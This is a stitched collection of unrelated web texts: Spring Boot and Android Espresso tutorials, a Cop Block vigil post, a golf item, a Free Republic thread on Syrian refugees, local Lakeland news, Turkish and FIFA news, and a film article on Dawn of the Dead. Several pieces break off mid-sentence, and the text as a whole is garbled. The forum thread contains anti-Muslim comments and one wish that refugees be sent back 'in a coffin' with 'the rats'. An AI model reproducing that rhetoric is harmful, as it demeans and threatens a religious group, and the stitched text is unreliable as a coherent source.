This is the simplest way to generate project structure for your application.Open Spring Initializr Web interface your browser and you will be presented with a wizard to start your configurations.
It requires you to fill information in the web interface to start with
What kind of project you want to generate (Maven or Gradle) What is your preferred language (Apart from Java you will get an option for Kotlin and Groovy) Spring Boot Version Standard project group and artefact details. Dependencies.
Dependencies is an interesting feature in the web interface, based on your selected Dependencies, we interface will automatically add Spring Boot Starter dependencies in the generated pom.xml file. In case you want a more control on the generated project structure or not sure what all dependencies you want to add to your project, click on the “Switch to the full version”.
With the full version, you have the option to select Java version, packaging mode (maybe.war for traditional deployment) along with an option to select dependencies for your project. Once you click on “Generate Project” button, Spring Initializr will generate a project and it will give you a zip to download. You can import the unzipped project as a simple Maven/ Gradle based project in your IDE.I will not be covering details how you can import this in your IDE. Please refer to relevant IDE document for more details.
3.2 Using Spring Boot CLI
We can also use Spring Boot CLI to generate the structure for your project, once you have installed CLI, open the command prompt and type spring. If CLI is installed correctly, you should be seeing the very similar output on typing spring.
localhost:~ javadevjournal$ spring usage: spring [--help] [--version] [<args>] Commands are: run [options] [--] [args] Run a spring groovy script
We can use init as an additional parameter with the spring to create a new project. Spring Boot CLI will internally go to use the start.spring.io to generate project structure for you.
localhost:~ javadevjournal$ spring init --dependencies=web springboot-demo-project Using service at https://start.spring.io Project extracted to '/Users/umesh/springboot-demo-project'
It created springboot-demo-project directory with a maven based project using spring-boot-starter-web. This will create a project with the same default setting as available on the start.spring.io web interface. We can pass different parameters to customize project generation.
Let’s say we want to generate our project based on Java 1.7, we can pass --java-version=1.8 as an additional parameter to Spring Boot CLI.
spring init --java-version=1.7 --dependencies=web springboot-demo-project
When you will run above command, it will automatically set java-version in the generated pom.xml file as 1.7.
<properties> <java.version>1.7</java.version> </properties>
If you are not sure what are the capabilities of the Spring init service, run init command with --list flag.
spring init --list
4. Peek Inside pom.xml
Let’s look into pom.xml file to understand Spring Boot configurations in more detail. I will cover only Spring Boot related changes in pom.xml. Here is the pom.xml file from our sample project.
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.umeshawasthi</groupId> <artifactId>ems</artifactId> <version>0.0.1-SNAPSHOT</version> <packaging>war</packaging> <name>ems</name> <description>Employee Management System outline Spring Boot Features</description> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>1.5.4.RELEASE</version> <relativePath/> <!-- lookup parent from repository --> </parent> <!-- project properties repository --> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-tomcat</artifactId> <scope>provided</scope> </dependency> <!-- Spring boot test depedency --> </dependencies> </project>
One of the main features of Spring Boot is the Starters, they are an easy way to add required dependencies (jars) in your classpath. When using Spring Boot, we don’t have to add jar/dependencies in your classpath (In case a starter is not available, you might have to add these dependencies in the pom.xml or can create your own custom starter). We need to add correct “Starters” in our pom.xml file and Spring Boot will add those dependencies automatically.
5. Application Entry Point
@SpringBootApplication public class EmsApplication { public static void main(String[] args) { SpringApplication.run(EmsApplication.class, args); } }
5.1 @SpringBootApplication Annotation
Our main class is using @SpringBootApplication annotation. @SpringBootApplication is equivalent to using @Configuration, @EnableAutoConfiguration and @ComponentScan with their default values.If you are starting your project, it’s recommended to use annotation. Using @SpringBootApplication in your main class is equivalent to following 3 annotations
@Configuration as a source of bean definitions. @EnableAutoConfiguration It gives Spring Boot an idea how you want to configure your application. @ComponentScan to automatically pick up all Spring components, including @Configuration classes.
5.2 Main Method
Another interesting feature of our main class is the main method. This is a standard method that will follow standard Java workflow. Our main class will pass on control to Spring Boot SpringApplication class. SpringApplication Class run method will be used to the BootStrap application. We will take a more deep look into the SpringApplication later section.
6. Hello World Controller
package com.javadevjournal.demo.controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class HelloWorldController { @RequestMapping("/") public String helloWorld(){ return "Hello World!!"; } }
There is nothing special in our Controller. It’s a standard Spring-MVC controller with standard Spring MVC annotations.
6. Running Application
It’s time to run our first Spring Boot powered application. We have multiple ways to run our Spring Boot application.
If you are using IDE, you can use IDE to run your application. We can use mvn spring-boot:run command from the root directory to start our first Spring Boot application.
. ____ _ __ _ _ /\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \ ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \ \\/ ___)| |_)| | | | | || (_| | ) ) ) )'|____|.__|_| |_|_| |_\__, | / / / / =========|_|==============|___/=/_/_/_/ :: Spring Boot :: (v1.5.4.RELEASE) 2017-07-08 15:49:50.319 INFO 1238 --- [ main] com.javadevjournal.demo.EmsApplication : Starting EmsApplication on localhost with
Open the browser of your choice and type http://localhost:8080, see “Hello World” as an output.
Summary
Spring Boot provides a good boost to the Spring-based applications. In this post, we learned about different options of Building an Application with Spring Boot. Setting up a new project is always a challenging task and we need to manage all dependencies but with Spring Boot, it was easy and we able to run our first web application with only new lines of code without thinking much about the required dependencies or the deployment.2.1k SHARES Facebook Twitter Google Reddit Tumblr Digg Linkedin Stumbleupon Mail Print
Greater Cleveland Cop Block‘s condolences, as well as mine personally, (as always) go out to the Rice family.
The cops showed up en masse to a vigil for Tamir Rice in Cleveland on February 22, 2015. Only they weren’t there to pay their respects to him or anyone else. In fact, they were not nice at all to Ademo, who was only asking why they were blinding drivers with their spotlight. I guess they must have thought they wouldn’t see the sign that way.
Then one of the cop cars had a headlight out. “Boy I wish there was a cop around! Somebody should give that guy a ticket!” Ademo exclaimed, as one of them rolled down the window to get a picture of me and/or a video of the sign! I’m sure he heard him! However, they refused to even acknowledge the burned out headlight. Must be nice to not have to follow laws like everyone else does.
My L.E.D. sign read:
R.I.P. Tamir.
R.eturn
I.f
P.ossible!!
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$27500.0Golf swings are like snowflakes -- no two are alike.
There are a lot that are similar, but we've never seen one like the one we're about to show you.
Steve Wheatcroft is playing in the Web.com Tour's Albertsons Boise Open. On Wednesday, the two-time Web.com Tour winner shot video of his pro-am partner's swing.
It's safe to say this swing is as one-of-a-kind as it gets:
There's pro am swings, and then there's this. I'm not making fun, I'm amazed. Actually can move it 200+. #awesome #albertsonsboiseopen pic.twitter.com/t4tH4VtBUY — Steve Wheatcroft (@wheatiePGA) September 14, 2017
Wheatcroft has no doubt seen hundreds of pro-am swings, so you know this one had to be special for him to highlight it on social media. We also love how he qualified it with: "There's pro am swings, and then there's this. I'm not making fun, I'm amazed. Actually can move it 200+. #awesome"
That is amazing. And it goes to show you that you can own your swing.Skip to comments.
13,210 Syrian Refugees So Far in 2016; Up 675% from 2015; 99.1% Are Muslims
CNS News ^ | 11/01/16 | Patrick Goodenough
Posted on by Enlightened1
(CNSNews.com) The Obama administration has resettled 13,210 Syrian refugees into the United States since the beginning of 2016 an increase of 675 percent over the same 10-month period in 2015.
Of those, 13,100 (99.1 percent) are Muslims 12,966 Sunnis, 24 Shia, and 110 other Muslims and 77 (0.5 percent) are Christians. Another 24 (0.18 percent) are Yazidis.
During the Jan.-Oct. period in 2015, 1,705 Syrian refugees were admitted, of whom 1,664 (97.5 percent) were Muslims and 29 (1.7 percent) were Christians.
Meanwhile the surge of Syrian refugee admissions initiated by the administration last February has continued into the new fiscal year, now one month-old: A total of 1,297 were resettled during October a 593 percent increase over the 187 admitted in October 2015.
Octobers arrivals were once again dominated by Sunni Muslims, accounting for 1,263 (97.3 percent) of the total. Another seven were Shia Muslims and 12 were other Muslims. The rest of the October intake comprised 15 (1.1 percent) Christians eight Orthodox, four Catholics and three refugees self-described simply as Christians.
That comes after last fiscal year saw a total of 12,587 Syrian refugees admitted, of whom 12,363 (98.2 percent) were Sunnis, and 68 (0.5 percent) were Christians, according to State Department Refugee Processing Center data.
The rest of the Syrian refugees admitted during FY2016 were 103 other Muslims, 20 Shia Muslims, 24 Yazidis, eight refugees with religion given as other, and one with no religion.
Syrians of all religious and ethnic groups have been victimized in the costly civil war, which has pitted a regime dominated by Allawites a sect of Shia Islam and its Shia allies against mostly Sunni rebel groups.
(Excerpt) Read more at cnsnews.com...
TOPICS:
Foreign Affairs
News/Current Events
Syria
War on Terror
KEYWORDS:
2016issues
bordersecurity
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immigration
muslims
muslimworld
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usjihad
To: Enlightened1
Totalitarians love Muslims because if you can corrupt the leadership you have a docile, primitive people to rule. Western governments, while paying lip service to the ideals of liberty and self-determination, were enamored of Mao and Stalin’s control of their populations - and built/propped them up. In the 1920s and 30s Europeans realized their way of life was threatened by communists intent on world domination; despite their best efforts they were stymied in protecting their nations by coordinated invasions by Stalin in the east and the US in the west.
by 2 posted onby kearnyirish2 (Affirmative action is economic warfare against white males (and therefore white families).)
To: Enlightened1
Once here, don’t they get to bring their immediate relatives over too?
To: Enlightened1
This is insanity, plain and simple.
To: floridavoter2
Yes, new refugees immediately get busy bringing over their relatives. This keeps the state welfare employees happily employed.
by 5 posted onby Ciexyz (After eight years of Obama, I can't afford to buy nothin'.)
To: Enlightened1
How many are going to Chappaqua? Or to Adams Morgan (or wherever Obama is moving to in January)? How many of these poor immigrant children will be attending the nursery school that Chelsea’s spawn attends? Instead we will be saddled with them. I know in my area the Lutheran and Catholic Churches are heading up the refugee situation. Thanks for nothing.
To: Enlightened1
I’m looking forward to seeing President Trump resettle those 13,210 refugees back in their home countries.
by 7 posted onby Pollster1 (Somebody who agrees with me 80% of the time is a friend and ally, not a 20% traitor. - Ronald Reagan)
To: Pollster1
I hope he sends them back in a coffin along with all the rats that allowed this to happen in the first place.
To: pinkandgreenmom
Why don’t you tell them to stop importing terrorists?
by 9 posted onby Cobra64 (Common sense isn't common any more.)
To: Flavious_Maximus
Why send them back in a coffin? Who’s paying? You?
by 10 posted onby Cobra64 (Common sense isn't common any more.)
Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works.
FreeRepublic, LLC, PO BOX 9771, FRESNO, CA 93794
FreeRepublic.com is powered by software copyright 2000-2008 John RobinsonLAKELAND — Lakeland will scrap its medical-marijuana dispensary zoning ordinance in utero as the proposed language, which was slated for a vote July 5, contradicts rules created by the Florida Legislature in a special session.
Under the rules approved by the Legislature and awaiting the governor's signature, cities and municipalities are not able to more strictly limit the location of medical-marijuana dispensaries than they do for pharmacies.
Amendment 2, which allows the prescribing and dispensing of cannabis products for medical conditions, was approved by Florida voters in November. Cities and counties throughout the state, including Lakeland, have been setting moratoriums on medical-marijuana outlets until the Legislature finished its work.
The Lakeland ordinance that was up for a second of two required readings in front of the public Monday would have prevented the clustering of medical-pot shops, set a minimum proximity to houses of worship and allow them in only two types of building zones.
One difference between other pharmacies and medical-marijuana outlet zoning, however, is that the city can require 500 feet of separation between a school and the outlet, according to the approved bill, SB 8A.
Though the City Commission could have voted on the proposed rules Monday, members agreed to wait until next month as Commissioners Jim Malless and Bill Read were absent from the meeting.
A new ordinance will be presented July 5 for a first reading and could be voted on July 17.
Under the state legislation, cities and counties will be able to ban medical-marijuana dispensaries, but even the commissioners preferring stricter restrictions have not voiced the idea.
The Legislature's action aligns with the desires of Commissioners Malless, Justin Troller and Don Selvage, who unsuccessfully urged their colleagues to treat medical-marijuana providers no different than any other pharmaceutical provider.
Lakeland's moratorium will sunset July 6, but the city has a strong case that there is a "significant zoning action in process" that would give it a right to delay development if any shops attempt to set up before the final vote, McCausland added.
Stormwater fee hike approved
Commissioners voted 5-0 to raise monthly stormwater fees by 33 percent, increasing the price for single-family homes from $6 to $8, the first rate increase since 2008.
Troller, in response to an email sent to the commission from a resident, asked whether stricter enforcement of environmental codes could be used instead to make up the department's funding gap.
City Manager Tony Delgado said the citations constitute a "very small" source of revenue, and that the majority of the funding goes to flood control and storm sewers — services used by everyone — rather than in maintaining surface-water quality.
"It's been long overdue and needed, and we'll all see the benefit of it sometime," Troller said of the rate increase.
The department has collected less revenue than it has spent for several years and has focused on basic operations and maintenance expenditures, and costs associated with state environmental mandates, Lakes and Stormwater Division Manager Laurie Smith told The Ledger last week.
Mayor Howard Wiggs said "percentage-wise, it looks like a large amount," but the increase is making up for years of stagnant revenues against rising costs.
As part of the ordinance, the commission agreed to look at raising rates annually for smaller amounts, based on their discretion each year.
Parking fines raised, too
All commissioners present approved a new schedule of parking fines, raising the price of a parking ticket from $15 to $25, and increasing the fine for illegally parking in a handicap spot from $100 to $250.
For the lesser fine, violators will now have 21 days, rather than 10, to make the payment before getting hit with a $20 late fee.
Troller said he would like city's staff to make sure the higher fines aren't encouraging people to drive home after a night at the bar rather than leave their car and risk multiple tickets the next day.
"We need to make sure we are encouraging the right decisions," he said.
Christopher Guinn can be reached at Christopher.Guinn@theledger.com or 863-802-7592. Follow him on Twitter @CGuinnNews.Image copyright Reuters Image caption Turkey will now hold a referendum on the new constitution
Turkey's parliament has approved a new draft constitution paving the way for a presidential system of government.
The reforms - which would significantly increase the powers of President Recep Tayyip Erdogan - received the required three-fifth majority in the assembly.
The bill will be put to a referendum, probably in April, and will become law if more than 50% of voters back it.
Critics say the move could usher in authoritarian rule, and amounts to a power grab by Mr Erdogan.
But the president says the changed system will resemble those in France and the US.
The constitutional reform bill was approved by 339 of the 550-member assembly.
Who is Turkey's dominant president?
No cause for optimism in divided Turkey
Turkey targets 10,000 social media users
Mr Erdogan assumed the presidency, a largely ceremonial position, in 2014 after over a decade as Turkey's prime minister.
The reforms would let the president retain ties to a political party, so Mr Erdogan could resume leadership of the AK Party (AKP), which he co-founded.
Opposition leaders say that would abolish any chance of presidential impartiality.
It has been suggested that Mr Erdogan could remain in power until 2029 under the new rules.
Erdogan until 2029?
The draft constitution states that the next presidential and parliamentary elections will be held on November 3, 2019.
The president would have a five-year tenure, for a maximum of two terms.
Image copyright AFP Image caption The constitutional reform bill won 339 votes in Turkey's 550-member assembly
If the clock on Mr Erdogan's presidency re-sets from 2019, that would allow him to stay in the job until 2029, not 2024.
Mr Erdogan has not made clear whether this would be the case.
What's in the new constitution?
The president would be able to directly appoint top public officials, including ministers.
He would also be able to assign one or several vice-presidents.
The job of prime minister, currently held by Binali Yildirim, would be scrapped.
The president would have power to intervene in the judiciary, which Mr Erdogan has accused of being influenced by Fethullah Gulen, the Pennsylvania-based preacher he blames for the July 2016 coup against him.
The president would decide whether or not impose a state of emergency.
Turkey's Prime Minister Binali Yildirim congratulated MPs on passing the constitutional changes, saying: "We have done our job. Now we convey the issue to its real owner, our people."
Kemal Kilicdaroglu, the leader of the opposition Republican People's Party (CHP), urged Turks to "spoil the game that was played in parliament".
He described the approval of the presidential system as a "mistake".
Media playback is unsupported on your device Media caption A fight broke out in Turkish parliament last week when an MP tried to film a voting session
Debates over the |
Justice and on the Interpol most wanted list. They are reported to be in Paraguay where the Conmebol (South America Football Confederation) headquarters in Luque has had diplomatic immunity since 1997.
But the country’s president is repealing the law and the government process is expected to be finalised on Monday. With the Jinkis duo and another Argentinian on the wanted list — Alejandro Burzaco — believed to be holed up in the Conmebol complex, a raid is expected the moment the buildings are no longer protected from forced entry.
Former FIFA officials Jack Warner, Nicolas Leoz, Alejandro Burzaco, Hugo Jinkis, Mariano Jinkis and Jose Margulies are all on Interpol's most wanted list
The seismic FIFA events leave Jim Shaw, wise president of the Northern Ireland FA, concerned that the next FIFA president — if he doesn’t come from UEFA — may choose to strip the home nations of their independence and have just one British football team.
Northern Ireland FA chief Jim Shaw is worried the next FIFA president may choose to have one British team
There were far more Juventus fans than Barcelona in the category one seats at the Champions League final. UEFA are known to have kept back tickets usually offered to FIFA as well as being ultra-stringent about their guest list.
Conspiracy theorists are suggesting UEFA president Michel Platini might have diverted extra seats in the direction of his former club Juventus.
Juventus fans outnumbered their Barcelona counterparts when it came to sitting in category one seats
Platini in holding role
Platini says he is playing ‘the waiting game’ by monitoring how FIFA implodes further before deciding whether to run for the Zurich crown.
But the big three in making that call were all in talks about the issue over the CL weekend at the Ritz Carlton Hotel in Berlin — Platini and Asia powerbrokers Kuwait’s Sheik Ahmad Al-Sabah and Hyundai boss Chung Mong-joon, either of whom might stand if Platini doesn’t. South Korea’s former FIFA ExCo member Chung said about Platini: ‘He’s a very good choice — if I don’t run.’
UEFA chief Michel Platini is not sure if he will run for FIFA presidency following Sepp Blatter's resignation
Angel Maria Villar Llona of Spain remains one of FIFA’s biggest rogues. A committed Blatter supporter who is thought to hate the English, he is still under investigation from the FIFA ethics committee following the Garcia World Cup bid investigation with which he refused to co-operate.
But in the wake of Blatter’s demise, a smiling Villar Llona couldn’t have been more friendly in Berlin — even tucking in your Sports Agenda columnist’s shirt rather than hurling Spanish insults.
Angel Maria Villar Llona, pictured with Blatter, was in high spirits during the Champions League final
The most unlikely spectator at the CL final after FIFA’s meltdown was communications director Walter De Gregorio. He had taken the weekend off from support of lame-duck president Sepp Blatter staying in office until February. The Gregorio clan support Juventus.What this post is about?
Using Gradle and Android Studio to run Android tests
Writing unit tests for Android using JUnit4
Writing UI tests with Espresso and the Android Testing Support Library
and the Android Testing Support Library We will be using our last project so if you are new please check out Dagger 2 and MVP Architecture first
Let’s get started
Step 1: Add the necessary dependency
The Android Testing Support library (ATSL) provides a great framework for testing your Android app. It has a JUnit 4-compatible test runner (AndroidJUnitRunner) and functional UI testing through Espresso and UI Automator. You can run tests for these APIs directly in the Android Studio IDE or from the command line, which makes it very easy to integrate them into your development flow.
// Dependencies for local unit tests testCompile "junit:junit:4.12" androidTestCompile 'com.android.support.test:runner:0.5' androidTestCompile 'com.android.support.test:rules:0.5' androidTestCompile 'com.android.support.test.espresso:espresso-core:2.2.2' androidTestCompile 'com.android.support:support-annotations:24.1.1' compile 'com.android.support.test.espresso:espresso-idling-resource:2.2.2' compile 'com.android.support.test.espresso:espresso-contrib:2.2.2'
Add this
android {............... testOptions.unitTests.all { testLogging { events 'passed','skipped', 'failed','standardOut','standardError' } } packagingOptions { exclude 'META-INF/maven/com.google.dagger/dagger/pom.properties' exclude 'META-INF/maven/com.google.dagger/dagger/pom.xml' } }
And add this line in the defaultConfig block
defaultConfig {.... testInstrumentationRunner "" }
If you perform a sync there will be a conflict with the minSdk version for test source set and main source set, so create AndroidManifest.xml in AndroidTest source set
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" package="${applicationId}"> <uses-sdk tools:overrideLibrary="android.app, android.support.test, android.support.test.rule, android.support.test.espresso, android.support.test.espresso.idling, android.support.test.uiautomator.v18"/> </manifest>
Step 2: Create an IdlingResource file to idle resource when the application makes call to Network
public class EspressoIdlingResource { private static final String RESOURCE = "GLOBAL"; private static CountingIdlingResource mCountingIdlingResource = new CountingIdlingResource(RESOURCE); public static void increment() { mCountingIdlingResource.increment(); } public static void decrement() { mCountingIdlingResource.decrement(); } public static IdlingResource getIdlingResource() { return mCountingIdlingResource; } }
Step 3: Add the following static method in MainActivity.java
@VisibleForTesting public IdlingResource getCountingIdlingResource() { return EspressoIdlingResource.getIdlingResource(); }
Step 4: Add Idling status when network request is made
The CountingIdlingResource is incremented when we make a NetworkRequest and Decrement after the network request finishes.
Note:. When the counter is 0 – it is considered to be idle, when it is non-zero it is not idle.
So in onCreate we increment the counter before calling the loadPost in our Presenter
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); listView = (ListView) findViewById(R.id.my_list); list = new ArrayList<>(); DaggerMainScreenComponent.builder().netComponent(((App) getApplicationContext()).getNetComponent()).mainScreenModule(new MainScreenModule(this)).build().inject(this); //Increment the counter before making a network request EspressoIdlingResource.increment(); //Call the method in MainPresenter to make Network Request mainPresenter.loadPost(); }
Similarly, we decrement the counter after the posts are fetched
@Override public void showPosts(List<Post> posts) { //Loop through the posts and get the title of the post and add it to our list object for (int i = 0; i < posts.size(); i++) { list.add(posts.get(i).getTitle()); } //Create the array adapter and set it to list view adapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, list); listView.setAdapter(adapter); //Decrement after loading the posts EspressoIdlingResource.decrement(); }
Also, decrement the counter if there is an error (No active Internet or Server error)
@Override public void showError(String message) { //Show error message Toast Toast.makeText(getApplicationContext(), "Error" + message, Toast.LENGTH_SHORT).show(); // If there is no network connection we get an error and decrement the counter because the call has finished EspressoIdlingResource.decrement(); }
Step 5: Write the test case
Create a file MainActivityTest.java in AndroidTest/java source set
@RunWith(AndroidJUnit4.class) @SmallTest public class MainActivityTest { @Rule public ActivityTestRule<MainActivity> mainActivityActivityTestRule = new ActivityTestRule<>(MainActivity.class); @Test public void checkRecyclerView() throws Exception { Espresso.registerIdlingResources(mainActivityActivityTestRule.getActivity().getCountingIdlingResource()); Espresso.onView(ViewMatchers.withId(R.id.my_list)).perform(ViewActions.click()); } }
Step 6: Run the Test by creating a new Run Configuration
Then click on the plus icon and select Android Tests
Configure the test as follows
Name : Test (Can be anything)
Module : app
Specific instrumentation runner : android.support.test.runner.AndroidJUnitRunner
and then click Ok
Now, select the newly create Run Configuration for the Run Menu
Select the device to run the Instrumentation test
Finally, you should see the Test pass. If the test takes too long to finish stop and rerun.
Conclusion
We learnt to set up Android Testing Support library
We used Espresso’s Idling resources feature to wait till the network call happen
We created a custom run configuration to run our tests
Github’s link for code
https://github.com/LadwaAditya/DaggerMVP-Tutorial
Reference
AdvertisementsDawn of the Dead is a 2004 American action horror film directed by Zack Snyder (in his feature film directorial debut), produced by Richard P. Rubinstein, Marc Abraham and by Eric Newman and the screenplay written by James Gunn while the special effects for the film were done by Heather Langenkamp and David LeRoy Anderson, who co-own AFX Studio.[4][5] It is the remake of George A. Romero's 1978 film, and stars Sarah Polley, Ving Rhames, Jake Weber, and Mekhi Phifer.[6] Its plot centers on a handful of human survivors living in a shopping mall located in the fictional town of Everett, Wisconsin, surrounded by swarms of zombies. Ty Burrell, Michael Kelly, Kevin Zegers, and Lindy Booth play supporting roles; the original's cast members Ken Foree, Scott Reiniger, and Tom Savini appear in cameos. The film was released by Universal Pictures on March 19, 2004. The film grossed $102 million worldwide against a budget of $26 million.
Plot [ edit ]
After finishing a long shift as a nurse, Ana returns to her suburban neighborhood and her husband, Luis. Caught up in a scheduled date night, they miss an emergency news bulletin. The next morning, a neighborhood girl enters their bedroom and kills Luis, who immediately reanimates as a zombie and attacks Ana. She flees in her car, crashes, and passes out. Upon waking, Ana joins police sergeant Kenneth Hall, electronics salesman Michael, petty criminal Andre and his pregnant wife, Luda. They break into a nearby mall and are attacked by a zombified security guard, who scratches Luda. Three living guards—C.J., Bart, and Terry—make them surrender their weapons in exchange for refuge. They split into groups to secure the mall. On the roof, they see another survivor, Andy, who is stranded in his gun store across the zombie-infested parking lot.
The next day, a delivery truck carrying more survivors enters the lot, pursued by zombies. C.J. and Bart wish to turn them away but are overruled and disarmed. The newcomers include Norma, Steve, Tucker, Monica, Glen, Frank and his daughter, Nicole. Another woman is too ill to walk; she is wheeled inside via wheelbarrow, only to die and reanimate. After she is killed, the group determines the disease is passed by bites. Andre leaves to see Luda, who has kept her scratch hidden from the group. They realize that Frank has been bitten and is a potential threat. After some debate, Frank elects to be isolated. When he dies and turns, Kenneth shoots him.
Kenneth and Andy start a friendship by way of messages written on a whiteboard; romance also buds between Ana and Michael, and Nicole and Terry. When the power goes out, CJ, Bart, Michael and Kenneth go to the parking garage to activate the emergency generator; they find a friendly dog and worry about a breach. Zombies attack and kill Bart, forcing the others to douse the zombies in gas and set them ablaze. Meanwhile, Luda—tied up by Andre—gives birth and dies. She reanimates as Norma checks on the couple. When Norma kills the zombified Luda, Andre snaps; they exchange gunfire and both are killed. The others arrive to find a zombie baby, which they kill immediately. The group decides to fight their way to the local marina and travel on Steve's yacht to an island on Lake Michigan. They reinforce two shuttle buses from the parking garage for their escape.
To rescue Andy, the group straps supplies onto the dog, Chips, and lower him into the parking lot; the zombies have no interest in him. Chips enters Andy's store safely, but a zombie follows through the dog door. Nicole, fond of Chips, crashes the delivery truck into the gun store, where she is trapped by a zombified Andy. Kenneth, Michael, Tucker, Terry, and C.J. reach the gun store via the sewers, kill Andy, and rescue Nicole. They grab ammunition and go back to the mall; along the way, Tucker breaks his legs, and C.J shoots him out of mercy. Once inside, they are unable to lock the door, forcing an evacuation via the buses.
While navigating through the city, Glen loses control of a chainsaw, accidentally killing himself and Monica; blood splatters on the windshield, causing their bus to crash. Steve tries to flee on his own, but is ambushed by a zombie. While C.J., Kenneth, and Terry look for survivors, Ana kills the zombified Steve and retrieves his boat keys. At the marina, C.J sacrifices himself so the others can escape. Michael, after revealing a bite wound, kills himself as Ana, Kenneth, Nicole, Terry, and Chips flee on the yacht. Footage from a camcorder found on the boat shows Steve's escapades before the outbreak and concludes as the group runs out of supplies, arrives at an island, and is attacked by a swarm of zombies. The camcorder drops, leaving their fate unknown.
Cast [ edit ]
Production [ edit ]
Development [ edit ]
Plans to remake George A. Romero's 1978 cult horror film Dawn of the Dead was conceived by producer Eric Newman.[7] A fan of the original film, Newman offered Strike Entertainment's Marc Abraham to produce the remake with him, which Abraham accepted. He and Abraham secured the rights to the film after it was handed over by Richard P. Rubinstein, the original's producer.[7] Rubinstein stated that he finally agreed to grant the rights after several years because he was worried "that somewhere along the way a studio would sanitize Newman's vision for producing a version with 'attitude'," as Romero's film was independently produced. In addition, the producer was impressed by Abraham's "long track record in keeping the creative integrity of the studio distributed films he has produced intact".[7]
Newman and Abraham said that the new Dawn of the Dead is more of a "re-envisioning" of Romero's film which is geared toward younger audiences who had not seen the original. Newman stated that the production's goal is "to make the old fans happy and make a lot of new fans. Because that's the only reason we are doing it." He cited his favorite classic horror films Invasion of the Body Snatchers (1978), The Thing (1982), and The Fly (1986) as cinematic influences, explaining that these had "some amazing updates" which "add to rather than diminish the original films".[7] In search of a screenwriter, Rubinstein hired James Gunn, an avid fan of the original, who began writing a draft. Michael Tolkin and Scott Frank were brought in for rewriting after Gunn left the project to concentrate on Scooby-Doo 2: Monsters Unleashed (2004). Rubinstein stated that Tolkin further developed the characters while Frank provided some of the bigger, upbeat action scenes.[8]
Filming and design [ edit ]
Principal photography lasted nearly three months, in the period from June 9 to September 6, 2003, on location in various parts of Toronto, Ontario, Canada. Director Zack Snyder storyboarded the film extensively.[7]
Andrew Neskoromny supervised the production design, which included the construction of the fictional mall dubbed as "Crossroads Mall".[7] Neskoromny researched malls that were scheduled to be demolished in such countries as Romania, Japan, and the United Kingdom, but yielded no results.[7][9] In Canada, however, the crew had located the defunct Thornhill Square shopping mall in Thornhill, Ontario, the area of which measured approximately 45,000 square feet (1.0 acre), and eventually used this location.[7] The crew completely renovated the structure over an eight-week period; the remodeled mall included, among other things, an expensive water feature near the entrance, 14 individually designed stores, parking structures and warehouse areas.[7] According to Snyder, the stores had to be renamed as Starbucks and numerous other corporations refused to let their names be used (save for Roots and Panasonic[9]): "People were like 'do we want to be in this movie where blood gets sprayed all over our thing? I don't think so.'" Some of these names were references to the 1978 version; the upscale department store Gaylen Ross was named after its co-star Gaylen Ross, while Wooley's Diner echoes Jim Baffico's character role Wooley.[7]
Release [ edit ]
In the United Kingdom, Dawn of the Dead and Shaun of the Dead were originally scheduled to be released the same week, but due to the similarity in the names of the two films and plot outline, UIP opted to push back Shaun's release by two weeks. It was screened out of competition at the 2004 Cannes Film Festival.[11]
The film grossed $59 million at the US box office and $102 million worldwide.[3]
Reception [ edit ]
Review aggregation website Rotten Tomatoes offers the film a 75% approval rating from 185 critics and an average rating of 6.7/10. The site's consensus reads: "A kinetic, violent and surprisingly worthy remake of George Romero's horror classic that pays homage to the original while working on its own terms."[12] The film also has a score of 59 out of 100 on Metacritic based on 37 critics indicating "mixed or average reviews".[13] Audiences polled by CinemaScore during opening weekend gave the film an average grade of "B" on a scale ranging from A+ to F.[14]
Roger Ebert said the film "works and it delivers just about what you expect when you buy your ticket" but felt that it "lacks the mordant humor of the Romero version" and the "plot flatlines compared to the 1978 version, which was trickier, wittier and smarter."[15] Scott Foundas of Variety described it as an unnecessary remake that will appeal mostly to young adult audiences who have not seen the original film.[16] Michael Rechtshaffen of The Hollywood Reporter wrote that the film "has no patience for such subtleties" as Romero's thematic concerns or suspense-building.[17] Elvis Mitchell of The New York Times wrote, "Mr. Snyder's blood feast is strictly by the numbers: this second-rater could be the world's most expensive Troma film."[18] Manohla Dargis of the Los Angeles Times wrote, "Good zombie fun, the remake of George A. Romero's "Dawn of the Dead" is the best proof in ages that cannibalizing old material sometimes works fiendishly well."[19] Mick LaSalle of the San Francisco Chronicle wrote, "Instead, the new "Dawn of the Dead" satirizes itself and satirizes its genre, and, on its own unambitious terms, the movie succeeds. It's silly, witty and good-natured, not scary so much as icky, and not horrifying or horrible but consistently amusing."[20] Lisa Schwarzbaum of Entertainment Weekly rated it "A" and wrote, "Commercial director Zack Snyder, making a killer feature debut, trades homemade cheesiness for knowing style, revels in the sophistication of modern special effects, and stomps off with the best remake – er, "re-envisioning" – of a horror classic in memory."[21] Scott Tobias of The A.V. Club wrote that the remake streamlines the original film "by discarding everything special about it in favor of pure visceral effect".[22]
Bloody Disgusting ranked the film eighth in their list of the "Top 20 Horror Films of the Decade", with the article saying "Truly, you can analogize the two films [original and remake] based on their zombies alone – where Romero's lumbered and took their time (in a good way), Snyder's came at us, fast, with teeth bared like rabid dogs."[23] Rolling Stone ranked it #3 in their "Top 10 Best Zombie Movies".[24] It was third in Dread Central's "Best Horror Films of the Decade".[25]
